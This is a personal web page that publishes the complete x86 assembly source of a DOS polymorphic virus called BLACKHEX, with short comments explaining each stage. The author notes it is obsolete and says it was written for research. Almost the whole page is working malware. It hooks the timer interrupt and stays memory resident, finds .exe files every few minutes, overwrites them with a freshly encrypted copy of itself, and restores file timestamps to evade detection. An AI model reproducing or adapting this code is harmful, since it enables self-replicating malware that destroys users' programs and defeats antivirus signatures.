Home > Projects > Hello World



Polymorphic (Self-Encrypting) Virus


NOTE!

This code was written many years ago and is obsolete and will not work on 32-bit or 64-bit machines. It requires an emulator like DOSBox v0.74, an Intel x86 PC emulator, to run it. Enough years have passed I finally feel safe to release this code to the public.


For the most part I have studied malware over the last two decades. I have a huge collection of computer viruses and Trojan horses for research purposes. I have written viruses and Trojan horses in assembly language, C, VBA macros, and WHS.


I believe in the importance of understanding how malware works mainly as a source of self-protection from cyber criminals and governments. However, this strategy may have become antiquated -- especially with the WikiLeak "Vault 7" release of the CIA's hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and the revelation of large numbers of hackers employed by the U.S. government.


The virus hooks INT 8, and infects every 3.2 minutes. Not encrypted in memory. It encrypts every file uniquely to avoid detection and encrypts the encryption key too.



BLACKHEX.ASM

interrupt_number      equ  8	
.model tiny

.code
org 100h
FIRST: jmp The_Beginning
Signature	  db  "**"
Key		  db  2
SourceIndex	  dw  0
TempKeyCounter	  dw  0

First decrypt the Key.

The_Beginning:
cmp TempKeyCounter,0
jnz DecTempKeyCounter   ;if 0, then key = original value

If the key is the original value, we need to store it for the main body of code below to use.

mov al,Key
mov TempKey,al	       ;store temporary key (unencrypted for use below)
inc TempKeyCounter	   ;set counter to 1
jmp Encrypt_Continuation

This section is used if the key already is encrypted.

DecTempKeyCounter:	   ;counter = 1, so set to zero
mov TempKeyCounter,0

Encryption and Decryption routine for the key.

Encrypt_Continuation:
cld
lea si,key
mov di,si
mov ah,key+9
mov cx,1
Encrypt_Key:
mov al,Key
xor al,ah
loop Encrypt_Key
mov Key,al
jmp Start_enc

TempKey  db  0

This section decrypts the main code before it gets set up in memory.

Start_Enc:
mov ax,ProgStart + 1	;start point to encrypt
mov SourceIndex,ax
mov si,ax
NKRPT_DKRPT:
xor BYTE PTR [si],al
add al,TempKey	 ;user stored key
inc si
cmp si,End_of_Program - 1
jz Set_Encryption
loop NKRPT_DKRPT

Set_Encryption:
int 20h 	;manually remove this, in debug
jmp Load_Program

ProgStart:
PROG  Proc
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
pushf
call DWORD PTR CS:Old_Interrupt_Addr

assume ds:@code
mov ax,cs
mov ds,ax

Timer to calculate how often to look for a file to infect.

mov cx,MinuteCounter
inc cx
mov MinuteCounter,cx
cmp cx,0da6h	;3.2 minutes
jb cs:exit
xor cx,cx
mov MinuteCounter,cx

Find a target file for possible infection.

FindFirstFile:
mov ah,4eh
mov cx,0
mov dx,offset WildCard
int 21h
cmp ax,00h
jz FirstTest
cmp ax,12h
jz cs:exit

FindNext:
mov ah,4fh
int 21h
cmp ax,00h
jz FirstTest
cmp ax,12h
jz cs:exit
jmp cs:exit
WildCard	db  "*.exe",00h
MZBuffer	dw  0
FileHandle	dw  0
MemTest		dw  0
MemSig		db  "Y"
FileTime	dw  0
FileDate	dw  0
MinuteCounter	dw  0

EndofHostFile	dw  0

Old_Interrupt	LABEL WORD
Old_Interrupt_Addr  DD	  

Test for a signature to avoid infecting file twice.

FirstTest:

mov dx,9eh
mov ax,3d02h
int 21h
mov FileHandle,ax
mov bx,FileHandle

mov ah,3fh
mov cx,4
mov dx,offset MZBuffer
int 21h
mov ah,3eh
int 21h

mov bx,cs:[MZBuffer+2]
cmp bx,2a2ah
jz FindNext

Infection Routine get random key for new virus. Copy virus to buffer and encrypt the buffer then write to target file.

Random Seed Generator

mov ah,2ch	       ;get a new encryption key
int 21h 	       ;this same key will be transferred to the open file
mov key,dl	       ;so that it can decrypt itself
mov ax,cs	   
mov ds,ax	   
mov es,ax	   

mov	cx,End_of_Program
mov	si,offset 100h
mov	di,offset 0E000h
cld
rep	movsb

Decrypt the Key.

cmp TempKeyCounter,0
jnz l_DecTempKeyCounter  ;if 0 then key = original value

Since the key is the original value, we need to store it for the main body of code below to use.

mov al,Key
mov TempKey,al	         ;store temporary key (unencrypted for use below)
inc TempKeyCounter	     ;set counter to 1
jmp l_Encrypt_Continuation

This section is used if the key already is encrypted.

l_DecTempKeyCounter:	  ;counter = 1, so set to zero
mov TempKeyCounter,0

Encryption and Decryption routine for the key.

l_Encrypt_Continuation:
cld
lea si,key
mov di,si
mov ah,key+9
mov cx,1
l_Encrypt_Key:
mov al,Key
xor al,ah
loop l_Encrypt_Key
mov Key,al

This section decrypts the main code before it gets set up in memory.

mov ax,cs	
mov ds,ax	   
mov es,ax	   

l_Start_Enc:
mov ax,ProgStart   ;calculate start point
sub ax,100h	       ;of the code to be encrypted
add ax,0e001h	    

mov SourceIndex,ax
mov si,ax
l_NKRPT_DKRPT:
xor BYTE PTR [si],al
add al,TempKey	 ;user stored key
inc si
cmp si,End_of_Program + 0dfffh
jz l_Infect
loop l_NKRPT_DKRPT

Open the file now that the buffer is encrypted so that we can write the buffer to the open file.

l_Infect:

mov ax,3d02h
mov dx,9eh
int 21h
mov FileHandle,ax
mov bx,FileHandle

mov ax,5700h
int 21h
mov FileTime, cx
mov FileDate, dx

mov ah,40h
mov cx,End_Of_Program
mov dx,0e000h
int 21h

mov ax,5701h
mov cx, FileTime
mov dx, FileDate
int 21h

mov ah,3eh
int 21h

EXIT:

pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
iret
PROG endp

LOAD_Program Proc

Test if virus is memory resident.

push di
push si
push ds
push es
mov bx,60h
mov ds,bx
mov cx,1
mov si,0
mov di,offset Memtest
cld
rep movsb
pop es
pop ds
pop si
pop di
mov bx,MemTest
cmp bx,59h	; Y
jnz Memory_Not_Infected
mov ah,4ch
int 21h

Memory not infected. Make the virus memory resident.

Memory_Not_Infected:
xor bx,bx
mov bx,60h
mov es,bx
mov cx,1
mov si,offset MemSig
mov di,0
cld

rep movsb

mov ah,35h
mov al,interrupt_number
int 21h
mov Old_Interrupt,bx
mov Old_Interrupt+2,es
lea dx,Prog
mov ah,25h
int 21h

End_All_Decode:

lea dx,End_of_Program
mov ax,3100h
int 21h

LOAD_Program endp
db "END"
End_of_Program:
end  FIRST